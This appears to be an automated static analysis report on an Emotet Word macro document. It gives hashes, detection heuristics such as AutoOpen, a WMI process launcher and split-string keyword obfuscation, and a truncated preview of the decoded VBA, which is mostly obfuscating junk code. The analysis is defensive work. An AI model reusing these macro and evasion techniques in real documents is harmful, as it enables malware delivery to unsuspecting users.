Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 6e3483535d503a41…

MALICIOUS

Office (OLE)

180.5 KB Created: 2019-04-12 16:46:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: 33d2cab1c85f72d57e33f3cf6b78f372 SHA-1: e27dd2dbe3a40661866b63931d7f32e553ad1c06 SHA-256: 6e3483535d503a41969ccac7b475544c50b82aa101ca0c9b5e6eca4fd2aefbb3
302 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an autoopen subroutine, a common Emotet infection vector. Critical heuristics indicate the use of WMI to launch processes, and obfuscation techniques like splitting keywords. ClamAV detection confirms this is Emotet. The script likely uses WMI to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6939267-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6939267-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36409 bytes
SHA-256: 254276ae034196c71d9a31b7cf3e615540aed030a889ef5b60d838828ccda574
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SQZBGXQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "EGA4AAZ4"
Attribute VB_Base = "0{D525A389-BC46-414D-B715-8B371E2BFD1A}{3188294C-B6CE-4FE7-83A6-677F2FFF46B3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "WkkZQB"
Attribute VB_Base = "0{85C833A3-F5FA-4489-959F-11DA321E8751}{DF598C9D-D234-46B0-BF9E-634C56B0F701}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "GUUxAXUA"
Sub autoopen()
   If AQBoUUB = jGGAAc Then
 jCABAA = BAAAAZX - WAAoAk
      Select Case QUAAQ1
         Case 68233013
            tGBDDU = CVar(149516903 * Rnd(wUAAA_AG * Round(877296247) / 44371050 * CLng(190187375 * Sqr(rZU4AAA))))
            EXGAQXA = Round(iD4XU_)
         Case 985196970
            NDAxAc = RGZUkDAZ
            hQC_AQB = Atn(603061217)
      End Select
End If
   If UxAQADGk = fQZ1AAwA Then
 MAXUAcXw = k_AAAA - iQ4AUQAB
      Select Case jAQoAU
         Case 705800004
            tkAX_cUA = CVar(151896625 * Rnd(Ho1AGB * Round(328333801) / 901758249 * CLng(764284047 * Sqr(qAABDU))))
            RQAAAG = Round(FDGZXDZ)
         Case 159317277
            RwUDA_U = V1A41A
            kwcQQU = Atn(505819367)
      End Select
End If
UAAoAADk
   If hAAQAUD = FBBBoX Then
 PwAUQXQ = cAoAAwUQ - cCG4w4BU
      Select Case dAA_BwGB
         Case 111389288
            IAABAAxA = CVar(645141282 * Rnd(VACU44 * Round(676258565) / 794303263 * CLng(195691082 * Sqr(YkwQU1DB))))
            iADQxQA = Round(fwUQABZ)
         Case 155167867
            uAGXAC = cAAUDD4
            iA4AQZA = Atn(182330011)
      End Select
End If
   If NAAAoQk = YAACZoQA Then
 LDxBAA = Q_AZU4 - mAxoGU1
      Select Case lUAC1AB
         Case 741661480
            cwDAAZA = CVar(797247422 * Rnd(wDA4AkQ * Round(145632766) / 146168904 * CLng(494268682 * Sqr(iD_AAAxQ))))
            JcQDGkAU = Round(sAQDCxxA)
         Case 137622906
            BkQBUAA = ooAXA_
            YGoQw4C = Atn(914906155)
      End Select
End If
   If i_GXAc = OA1o4BA Then
 oDwGQoAX = XCBAAwU - NABx_QAA
      Select Case VAkQB4
         Case 794697621
            CBAxBQG = CVar(527967968 * Rnd(iAoBA1 * Round(677530763) / 930143491 * CLng(347706106 * Sqr(LAwAABAU))))
            sAkAkc = Round(YQw4QQ)
         Case 390497130
            UwAGAA = QABBcDkx
            AQG41QGo = Atn(976239406)
      End Select
End If
End Sub

Attribute VB_Name = "jAwAAXQA"
Function UAAoAADk()
On Error Resume Next
   If EoAAAQAD = PAxCBAA Then
 JUXUXBQ = c4CAQ1U - TBD1DBB
      Select Case KAwQXo
         Case 131727169
            uAUAZQG = CVar(797023085 * Rnd(SkAAABU * Round(930296041) / 179456172 * CLng(882023936 * Sqr(sBABAX))))
            CAwoADo = Round(iABBUA)
         Case 960803654
            tAACCGD = IDAAZx
            dABAAcA = Atn(850371286)
      End Select
End If
   If rCAoX4X = wXkAAXAD Then
 TQw1AX_ = Jk1ABkBw - fADA4BUA
      Select Case JxZAUQA
         Case 621736930
            kAXAAAGQ = CVar(570791519 * Rnd(zQADA1A4 * Round(705117662) / 49216335 * CLng(268258692 * Sqr(cXAACxZC))))
            woBAACAB = Round(uwZDAA)
         Case 248086394
            wCAUAA = a4BUAU
            ZAAQGQX = Atn(930740445)
      End Select
End If
   If TQZQCx = X4UAxA Then
 fZAUcB = PGAQG4 - qDoADcZk
      Select Case nAUDAA4
         Case 760151699
            GwAQQZ = CVar(488106208 * Rnd(rZBc4AAU * Round(716889924) / 80538522 * CLng(638522705 * Sqr(ZDAc4C))))
            vAxUG4w = Round(i_AADk)
         Case 91619
... (truncated)